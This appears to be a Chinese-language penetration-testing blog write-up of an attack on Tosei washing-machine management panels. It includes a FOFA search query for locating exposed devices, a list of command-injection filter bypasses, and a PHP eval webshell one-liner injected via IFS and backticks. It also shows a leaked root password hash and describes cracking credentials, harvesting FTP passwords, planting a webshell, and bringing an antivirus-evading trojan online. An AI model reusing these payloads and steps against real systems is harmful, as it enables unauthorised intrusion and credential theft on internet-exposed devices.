1.信息收集前段时间很火的东正洗衣机rce漏洞 语法 fofa: body="tosei_login_check.php"页面长这样 poc如下 后台常规的测试功能管道符绕过 成功RCE
2.打点这里复习一下常见的命令注入绕过方式 1.管道符
2.拼接字符串 windows: ~%xxx:0~1 linux: $xxx:start,length
3.特殊符号^,"",(),$@
4.空格绕过, ${IFS},{}
5.变量赋值
6.默认路径 通配符
7.hex编码 xxd
8.base64编码
9.分号绕过
10.``绕过
11. \ 绕过
12. dnslog绕过这里处理一下上传webshell的问题 IFS=,;`cat<<<'<?php @eval($_POST[1]);?>'>5.php`没处理成功,对面系统无法执行 折腾了半天的下载,发现机子不出网,无ping和curl 无权限写目录,tmp对应目录了也无法写 干到这了,不写个shell怪可惜的 开始信息收集!

2.破解密码cat一下/etc/passwd 发现了惊喜
/etc/passwd一般存的是一般的用户信息 /etc/shadow存储用户密码信息 前者格式 用户名:密码:用户 ID:用户组 ID:注释:用户目录:登录 shell
当密码存储在/etc/shadow时,密码用x代替
例如:root:x:0:0:root:/root:/bin/bash后者格式 用户名:密码:上次修改密码日期(从 1970 年 1 月 1 日起的天数):密码在两次修改期间的最小天数(0 表示可在任何时间修改):密码需要被变更的天数(99999 表示不需要变更):密码变更前提前几天警告:账号失效日期:账号失效后被禁用的天数:保留字段
root 6$Fsf6Q6SH$MlagWih0lcGFxtAo7/s8Z5.wywJyCqH6qateZ6yPFOPm8bNYTGAEPygZxSOPR1A9Rtw.WxJp2fNMOoeB1wj890:17524:0:99999:7:::
这里密码直接泄露在etc/passwd里,我们可以尝试来破解
成功破解两个账户 但对方22端口拒绝连接 g
3.发现htaccess文件发现精彩东西
chatgpt一下就行了 这个配置文件直接暴露了权限控制要求的目标用户 且对应的文件在 那还等什么,我们直接 cat /usr/apache/.pass发现好东西 再次破解成功 其他的也可以拿去破解破解
左边是密码,右边是账号 非常完美
3.登录测试
1.进入管理页面输入账号密码成功打入 然后翻阅
抓重点文件进行测试 1.之前的命令注入由此产生2.ftp服务器发现好东西发现ftp的ip,密码,端口,还有域名信息
账号密码端口 密码的话直接f12明文查看
直接ftp
成功进入
3.put lcd上传下载东西姿势这是最简单的ftp操作 成功种入一句话木马
4.上免杀木马成功上线
